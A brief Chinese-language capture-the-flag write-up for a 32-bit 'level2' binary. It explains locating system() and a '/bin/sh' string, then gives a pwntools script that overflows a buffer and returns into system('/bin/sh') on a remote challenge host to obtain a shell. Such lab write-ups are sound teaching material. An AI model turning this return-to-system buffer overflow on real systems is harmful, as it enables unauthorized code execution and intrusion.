先找system函数,发现它的参数待输入,然后shift + Fn + F12 查找特殊字符发现bin_sh,因此希望bin_sh能成为system的参数。其他都是基本的缓冲区溢出。
from pwn import *
p = remote('61.147.171.105',50144)
elf = ELF('./level2')
system_addr = elf.symbols['system']
bin_sh = 0x0804A024
p.recvuntil("Input:")
payload = b'a'*(0x88+0x4) + p32(system_addr) + p32(0) + p32(bin_sh)
p.send(payload)
p.interactive()